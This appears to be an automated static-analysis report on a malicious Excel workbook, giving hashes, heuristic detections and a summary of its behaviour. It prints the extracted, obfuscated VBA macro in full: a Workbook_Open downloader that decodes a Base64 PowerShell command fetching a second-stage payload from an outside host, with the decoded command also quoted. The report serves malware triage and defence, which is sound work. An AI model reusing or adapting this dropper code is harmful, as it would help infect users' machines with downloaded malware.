Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a18d76fcb8e6956…

MALICIOUS

Office (OLE)

49.5 KB Created: 2017-10-15 14:50:16 Authoring application: Microsoft Excel First seen: 2017-11-29
MD5: 7429daf3ec21a124547c821ceed308c3 SHA-1: bff701b0523f647c622df5f382479c544d7cb928 SHA-256: 3a18d76fcb8e695617c530885008623ba3437ebe7974d6302e605590be069e9b
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a Microsoft Excel file containing a Workbook_Open VBA macro that utilizes WScript.Shell to execute a command. This command decodes a Base64 encoded string which then executes PowerShell to download a second-stage payload from 'http://a.pomfe.co/gbc'. The decoded command is 'cmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYQAuAHAAbwBtAGYAZQAuAGMAbwAvAGcAYgBj'. This indicates a downloader or droppper functionality.

Heuristics 8

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    XrOevCenIWQPrRRmBDmJsXzqcCwNOfszdHIbZPKpkyTAcsRDCayFEFxzrXBsFRZddRljIqNmsxZtDyOkltLngnvYJJjC = "WScript.shell"
Dim sOqUaTqZxLtCwrBfigjAVxhoMotwhJucsDkoCLWGrSZSyBnVkvCaw As Object
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    XrOevCenIWQPrRRmBDmJsXzqcCwNOfszdHIbZPKpkyTAcsRDCayFEFxzrXBsFRZddRljIqNmsxZtDyOkltLngnvYJJjC = "WScript.shell"
Dim sOqUaTqZxLtCwrBfigjAVxhoMotwhJucsDkoCLWGrSZSyBnVkvCaw As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set EVoAeSSjzIhlObUKeREglJMJbARvzPwRDnvSUmTYOxPGSMOoYGHoxjavJeYeAWjkLQhbfCqrxfSntFrPmcXsHIUTNAJqOp = CreateObject(XrOevCenIWQPrRRmBDmJsXzqcCwNOfszdHIbZPKpkyTAcsRDCayFEFxzrXBsFRZddRljIqNmsxZtDyOkltLngnvYJJjC)
Dim nVLXbRNtsagnmbQmWgAJclrzDEwMBaiErrpLgVLngbBSR As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10382 bytes
SHA-256: 6d9fe45339b0e8733bb2c10a473267a40b30ecb36b11d42a10e082df573a447d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
99 of 131 identifiers look randomly generated (e.g. 'tZkiSFnEOGMcQhVVlQRcPqthTtNkwDtXgnvSUfYn') — consistent with name-mangling obfuscation. Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()


vKFmgJHalDal.edRwJDecxAFiPDrGtaeX




End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "vKFmgJHalDal"
Dim yuDUZvdeCkPYzWazWRklzIKXdKUdEWqTchlzcyhRFlkrIWiZYu As String
Dim KBIEzovPxHSqFLDxLbQowXwyvxeRQPjnfuPelsw As Object
Dim epLaQSdaCUVEfLGJmFJJCJeziXeKLvYLSemzkwfgSXcwuK As Object
Dim EcYlcZcjuUKMssnSOGwJmBZHYpZcqeghEX As Object
Dim TClaTzjijRoXEntzIWAkXCDRMmAzsPodIUYlgnnwaDRHSAlmjrWJhTzQ As Object
Sub edRwJDecxAFiPDrGtaeX()

On Error Resume Next
Dim zUOgykqUdLPkOHSVjDKUlvzLBOPAtewoUIlMZGyqMxeHlAXbZAZdJf As Object
Dim fDUCekUpayPaPGWFwcFUHoQsZBqnbsFSfochsWc As Object
Dim NVXWgrKkRFTEwYoXrnccdtgNhtwvadoNaArzkRkAPQYhIoIurRluPt As Object
Dim zUoJonvPJoRGdwgpnZDcNNUzFtlBEJr As Object

 yuDUZvdeCkPYzWazWRklzIKXdKUdEWqTchlzcyhRFlkrIWiZYu = "bin.base64"
Dim tyhAXKadwEzGkQBKLNBdMrmfmzpEvCt As Object
Dim LzwXIwwJeNvGXNGkiDiZoCgeCLBOXV As Object
Dim ViuLoGnstNPEXPQkORfPGAMcFITRVwuilIrNLMZAwqJUKjfRNRwkiIPVVS As Object
Dim FgnVXwTgSOXDZCsfSQqsRVdBDDAKAdtWrtGsMaSNBdRQtKsurCpyedA As Object

Dim EVoAeSSjzIhlObUKeREglJMJbARvzPwRDnvSUmTYOxPGSMOoYGHoxjavJeYeAWjkLQhbfCqrxfSntFrPmcXsHIUTNAJqOp
Dim kClSUwIgpUAMfvzTsxdqoEMItLGTxn As Object
Dim usNtWqbIyRtwbwsxMyrjxBAnMgpdYIppjCZIym As Object
Dim ZJrkyMxrcQPvzHbOqtsahqAxjpbDNZWkzZZirMCopUEZNcJiOULfQ As Object
Dim YFiItAJltdCtfwZhsXdrEkMmbkGgsp As Object

XrOevCenIWQPrRRmBDmJsXzqcCwNOfszdHIbZPKpkyTAcsRDCayFEFxzrXBsFRZddRljIqNmsxZtDyOkltLngnvYJJjC = "WScript.shell"
Dim sOqUaTqZxLtCwrBfigjAVxhoMotwhJucsDkoCLWGrSZSyBnVkvCaw As Object
Dim sUvgCImatsnRQKtGNcXKdJCXPqKAYMlHTgzipHACj As Object
Dim gxalBhquOXTfQSjRXRLxmBhGgxjKKQFbUaxMbmOITFJpSbDOQQSqpF As Object
Dim xePUFDxgkxRrKpUXqlCCdgrsnEuVutyOmOdTwHhKL As Object

Set EVoAeSSjzIhlObUKeREglJMJbARvzPwRDnvSUmTYOxPGSMOoYGHoxjavJeYeAWjkLQhbfCqrxfSntFrPmcXsHIUTNAJqOp = CreateObject(XrOevCenIWQPrRRmBDmJsXzqcCwNOfszdHIbZPKpkyTAcsRDCayFEFxzrXBsFRZddRljIqNmsxZtDyOkltLngnvYJJjC)
Dim nVLXbRNtsagnmbQmWgAJclrzDEwMBaiErrpLgVLngbBSR As Object
Dim aAmMgZagBiBdMUXVBsSscwumFGBVMdAkZhcDJ As Object
Dim zUAIXqJohTBnSejjapeFAHaYFUYhREfrULCYRkFFlxXnAhty As Object
Dim RAyrxxIstcCDRbWdnJTGbLSqkYUCjnYXaZQQFotWDKeo As Object

bvF = ""
Dim hBnKbuzqNmWGiIHYdFIGEfcsLFXzPxDRhdIikJbpniJnCKiwhV As Object
Dim sxCXkBZvzVXAaQjFZEAYnUdTTWVppA As Object
Dim XaRuFFPJtHJpKGRmHtDxldwIhYTiEOgjGyxxifKdpPLsPyJXBgOblsPud As Object
Dim JNhlgEfaZiMIUDbjaHVRDtiOwhXzEyNiDT As Object
bvF = bvF & "YwBtAGQAIAAmACAALwBLACAAQwBEACAAQwA6ACAAJgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBvAEEARQA0AEEAWgBRAEIAMwBBAEMAMABBAFQAdwBCAGkAQQBHAG8AQQBaAFEAQgBqAEEASABRAEEASQBBAEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARQA0AEEAWgBRAEIAMABBAEMANABBAFYAdwBCAGwAQQBHAEkAQQBRAHcAQgBzAEEARwBrAEEAWgBRAEIAdQBBAEgAUQBBAEsAUQBBAHUAQQBFAFEAQQBiAHcAQgAzAEEARwA0AEEAYgBBAEIAdgBBAEcARQBBAFoAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBnAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwA4AEEAWQBRAEEAdQBBAEgAQQBBAGIAdwBCAHQAQQBHAFkAQQBaAFEAQQB1AEEARwBNAEEAYgB3AEEAdgBBAEcAYwBBAFkAZwBCAGoAQQBHAHcAQQBjAEEAQgBsAEEARwBFAEEATABnAEIAdwBBAEcANABBAF"
Dim ZSdsJKgSpPxOgcnsLkucZQeSpyhfVbUdFAeIFiyKllD As Object
Dim SRhBuMMndoauJoLCKdAwOuTJgyemcmjrnMLAHxmTInrpeFVUufnhkopX As Object
Dim yYUwiaKqFiHxcKvMrhnaCefadJrxzBHyWn As Object
Dim BjcplicBjvyYrjjbqCAOVUtuTYiMqDbIap As Object
bvF = bvF & "oAdwBBAG4AQQBDAHcAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAVQBBAFUAdwBCAEYAQQBGAEkAQQBVAEEAQgBTAEEARQA4AEEAUgBnAEIASgBBAEUAdwBBAFIAUQBBAHIAQQBDAGMAQQBYAEEAQgBpAEEARwA4AEEAWgB3AEIAQgBBAEYAWQBBAFEAdwBCAGwAQQBFAFEAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAawBBAE8AdwBBAG8AQQBFADQAQQBaAFEAQgAzAEEAQwAwAEEAVAB3AEIAaQBBAEcAbwBBAFoAUQBCAGoAQQBIAFEAQQBJAEEAQQB0AEEARwBNAEEAYgB3AEIAdABBAEMAQQBBAFUAdwBCAG8AQQBHAFUAQQBiAEEAQgBzAEEAQwA0AEEAUQBRAEIAdwBBAEgAQQBBAGIAQQBCAHAAQQBHAE0AQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAawBBAEwAZwBCAFQAQQBHAGcAQQBaAFEAQgBzAEEARwB3AEEAUgBRAEIANABBAEcAVQBBAFkAdwBCADEAQQBIAFEAQQBaAFEAQQBvAEEAQwBRAEEAWgBRAEIAdQBBAEgAWQBBAE8AZwBCAFYAQQBGAE0AQQBSAFEAQgBTAEEARgBBAEEAVQBnAEIAUABB"
Dim IMjBwFxBujbFRIOYLFyHShqiWMAQKfUqxCbXroFvQT As Object
Dim ZJTOGaySsWKSWbVBfjFhqPPkHPhqgXzCryIgOIGZRsnxgegACqI As Object
Dim VqjdKuiGrtImVXHbXSomXdfQybREdj As Object
Dim hoqOdLHVymgBPgJGSaYCIhNDlsLTfice As Object
bvF = bvF & "AEUAWQBBAFMAUQBCAE0AQQBFAFUAQQBLAHcAQQBuAEEARgB3AEEAWQBnAEIAdgBBAEcAYwBBAFEAUQBCAFcAQQBFAE0AQQBaAFEAQgBFAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAHAAQQBEAHMAQQBmAFEAQgBqAEEARwBFAEEAZABBAEIAagBBAEcAZwBBAEkAQQBCADcAQQBIADAAQQA="
Dim cHMUvGuvTCUCGVOyGsJrfaazbnckAoq As Object
Dim PJBYHUoKLgdiFNKwPdNMmZlzChMtIeJveMEsEwHdR As Object
Dim hxKCrUmQqMHncDpXCWZHvChXiDtIRsSWjuF As Object
Dim cbxKMacRRBHCJPUCahWWeQnTnbdyyulDixNwF As Object
 
Dim LNhTkQVaBktxpsoNYaLndWkwdTXQETLBXwOToCtARtmrkBIBwq As Object
Dim KXBJcpckpRsFWiYrZtdUYVgLWjktLcLVTNIo As Object
Dim AOUZrDNcHMXDStcPXcRpqpmsEjZNGXlIZkrKYEdUI As Object
Dim EEJLgbSzwxqvTyKbbUIezVjaPehCSqTzxglldhXHHN As Object

 lBzoAKdVbqBEXOyddkHNHrngPZADrtBkDVvdedwyaJAHzAKAFNcITRPuNSYaKZeioQBCSUzAoImyqghPOAydQtRlFBQL = 0
Dim KauMFmgixjVqIiUiwCtPhFerynMZyuxAXmLJgCYvVjsj As Object
Dim dHYDQvkVOrfEvCOSZHkDmUSWXLCudxtxMvNrOIID As Object
Dim JcmfGGNdnGVOzpwJoCgFsqrQxhrApXDRzguKinPQxYGWbfyXyED As Object
Dim McCKSkVhYPNoQCEPSvmaAmQIUkUoSjUCkUrowWbZM As Object

EVoAeSSjzIhlObUKeREglJMJbARvzPwRDnvSUmTYOxPGSMOoYGHoxjavJeYeAWjkLQhbfCqrxfSntFrPmcXsHIUTNAJqOp.Run iOdspjfqPazZgtwvSkbXYkTfNYTPG(bvF), lBzoAKdVbqBEXOyddkHNHrngPZADrtBkDVvdedwyaJAHzAKAFNcITRPuNSYaKZeioQBCSUzAoImyqghPOAydQtRlFBQL
Dim FqAkkpUXQfbLdCZMuqiQhPpuKDwLQTwUNOuwPYjuARBDsqGRRcBgtJ As Object
Dim fqBFZgtIGxjHyPHdxWGnPQNlCUxeuoRPaDjEvJzCAsKEUkrqJneeZFuOcPD As Object
Dim EjPNSfThvgDinXDnXFJRScGUHJnqVJUbfGuT As Object
Dim lerYADwKGErHVSWJTylbduGJsdLlMbDhckBsOkQOgvNCRfUDmLI As Object





End Sub
Function iOdspjfqPazZgtwvSkbXYkTfNYTPG(tRjoshQJkuTepjqbpHggBXrUDEJMDfjkxZbDAPDYZFjzciFDAUcBVsMWaOloYDGEKjhPHnbaDHGvorsVyGLiDhPENFdlePAWzfptAqvNsByOmQhiWQqSs)
Dim hUSpqYigXrKxfBJelQeuiiWvhgDrMIIzBTWM As Object
Dim KuLTgEsWVyiBIBjnIQZyxWIKVqTOjLwL As Object
Dim fxUqFLOdpAajxBjLZVrktXOnlAxpldmJBXVKhshwBvIxvZM As Object
Dim TGHpOULSHigEENYsMNRhagYegnujxORr As Object

  Dim tZkiSFnEOGMcQhVVlQRcPqthTtNkwDtXgnvSUfYnIGIGaRQIYlJpkKXCgCOYrDHLNovdmDBFsdUIimGBdFLLtEmWPslRQzvEzxsmWnVVjEwGqOUuwNvmrwRJBZN
Dim MoejeoXopEOcAodjdDwjermnicIbacUtRorQjpNXpcrVSwdsJLFtRhNUCq As Object
Dim BBgwONkULMwNzopZuBzQVlyQSPWabkbXOtnMrtOelxkRvwLRE As Object
Dim smLVlUPCPdzqJtbkZzGAdiAnVfYBgUWDFWix As Object
Dim QBcYYJbPPnbDJhVwFRbJmXzGwOWuHvlnKeUXWibTHlYhDUrzyZynv As Object
  XAcTdCBKpwoGkwJCyUHKypBjARwXuONZhdbeMZXouCDFKHBUYgYviIthytSLFdQbiPZGVepYwTQvmvZtPcyNqSqZkufSHMiQmbXvivyurzzOs = "Microsoft.XMLDOM"
Dim YLsCWbKngHTCosfMyaXpHCAzSCbWWwixxslScVAGR As Object
Dim gbdEeObMmAybynWKsjTAoQkYWFwHMkcZRYbbWvoozKjvjWzEPI As Object
Dim jlhFdPqFhZSUzCXZKZLunxveAehooAGrrEArsLvMkRNOVfK As Object
Dim hXKLZsUUlqCFziCQgTacvBghydzJVkgJVU As Object
  Dim NSjSZqXLGhuMNMNGgEvtIRHMFmwqVNazGLYaNGUNbDdDyzZUZosENqtwKWNnuhptGvFCnm
Dim zQeogyWjPApFweiBgvvCOfrdNwtLzBJtkfillsnbFMmfrshVbUDlNSF As Object
Dim TZBbjFLkNrwVRwxPoITwBtLlUPYkfyYfRZOLkQDWucYovWPZdEPduW As Object
Dim EaNQHUhbEPTQEshlfXFxCYVXpxzyGajuluUoyUJioS As Object
Dim XJUfSWrsZrXwUfFqaJViUegYfKXtnKOWJjBLCKf As Object

 Set NSjSZqXLGhuMNMNGgEvtIRHMFmwqVNazGLYaNGUNbDdDyzZUZosENqtwKWNnuhptGvFCnm = CreateObject(XAcTdCBKpwoGkwJCyUHKypBjARwXuONZhdbeMZXouCDFKHBUYgYviIthytSLFdQbiPZGVepYwTQvmvZtPcyNqSqZkufSHMiQmbXvivyurzzOs)
Dim cHNBrWoaojHtANFytcwzHyyFOdBnletoQdsbH As Object
Dim coBqjjKfROJDlHiGKXdJInOVBpKpTcWVeqQouJYPnZxOskAWKh As Object
Dim GGORypZgpuYUMoroYuquLAzNVipzdRonflWPGMsbOOUdrTNIXELFfQWFGAw As Object
Dim PzaCYFlpaRchLCPfwgWWBVhcYFjHPPRJFQcboLwXFe As Object
 
Dim mqvWzDQkZYkeuuSxdSWdaLASbvZorkkyQXiq As Object
Dim hCFfreqsYbVhIrhdAcEbpcuEebsoolNWLcPbNrmvUItAZsg As Object
Dim ADHxoTHAFHAAQmBEnNzVgbGPJqIGhiufmvslhoZDEbKTMqWITE As Object
Dim GmaWzZwroxKASWNVOUtQWyowREQmDSUzndbHEQv As Object

  Set tZkiSFnEOGMcQhVVlQRcPqthTtNkwDtXgnvSUfYnIGIGaRQIYlJpkKXCgCOYrDHLNovdmDBFsdUIimGBdFLLtEmWPslRQzvEzxsmWnVVjEwGqOUuwNvmrwRJBZN = NSjSZqXLGhuMNMNGgEvtIRHMFmwqVNazGLYaNGUNbDdDyzZUZosENqtwKWNnuhptGvFCnm.createElement("U")
Dim ToqzbsEJnGrcBPChHyeEvIKnVdKMpvFQyZabgzNDMvdfMqSkkwTJaLz As Object
Dim KeCdxhrTsAadcobAIkasAeebfKZctbwpnZP As Object
Dim xeVPWUbkflNqwJvLYASzfAaynHPZRD As Object
Dim kpDYeWnVEXYuypSUdSxPXpUZjwDXcOFBTbBXnXf As Object

  tZkiSFnEOGMcQhVVlQRcPqthTtNkwDtXgnvSUfYnIGIGaRQIYlJpkKXCgCOYrDHLNovdmDBFsdUIimGBdFLLtEmWPslRQzvEzxsmWnVVjEwGqOUuwNvmrwRJBZN.DataType = yuDUZvdeCkPYzWazWRklzIKXdKUdEWqTchlzcyhRFlkrIWiZYu
Dim ZYDwvalBkgSewcBgvUdohSPsqSWaXougFnYrUtZ As Object
Dim yxvSqJjIZSvGCJjyHIKFcDLewllZJDKLBveqlzZjGJxIbi As Object
Dim sXWpQiKnwvmRWFXKyVIjEHesMHjbzTGDCNsODUm As Object
Dim bBOyjEUdTLwKbzrelsdcJzindoiOIMJGeigipIvnsePP As Object
  tZkiSFnEOGMcQhVVlQRcPqthTtNkwDtXgnvSUfYnIGIGaRQIYlJpkKXCgCOYrDHLNovdmDBFsdUIimGBdFLLtEmWPslRQzvEzxsmWnVVjEwGqOUuwNvmrwRJBZN.Text = tRjoshQJkuTepjqbpHggBXrUDEJMDfjkxZbDAPDYZFjzciFDAUcBVsMWaOloYDGEKjhPHnbaDHGvorsVyGLiDhPENFdlePAWzfptAqvNsByOmQhiWQqSs
Dim CIfDKjHWZrdbSaUvVFUGBpgsTJocxqkejSlVIfEYFnhnFFPPoz As Object
Dim RmJINMcmkBvfYjHyrApzmqBwBOItnNuZoxYyVbEYtV As Object
Dim uDdZOygGNPZpNakNGzEjzWGVqbKIdQvQFQvyScAKNgAezzjxNHUFUKWYwH As Object
Dim imnXcxUJjwfmuezuWSWcWrrNvVvpwvuXCLtNWpE As Object
  iOdspjfqPazZgtwvSkbXYkTfNYTPG = tZkiSFnEOGMcQhVVlQRcPqthTtNkwDtXgnvSUfYnIGIGaRQIYlJpkKXCgCOYrDHLNovdmDBFsdUIimGBdFLLtEmWPslRQzvEzxsmWnVVjEwGqOUuwNvmrwRJBZN.NodeTypedValue
Dim DKqPnSaMqGZoDCUkrvabHBeMnBHkjllXgO As Object
Dim TRgbEuUIFjWHrViaCSvOwBgdblKqdEUCIoiCEPqgGyvuqgKlCJjTcSRRkD As Object
Dim zSjefBOUzCmfVnbPHyGlmvaYoUVBZpWRSB As Object
Dim PXwcSufWhHzXnwrMKTLyQEsKpLfNuJgVMUYDTegLF As Object
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.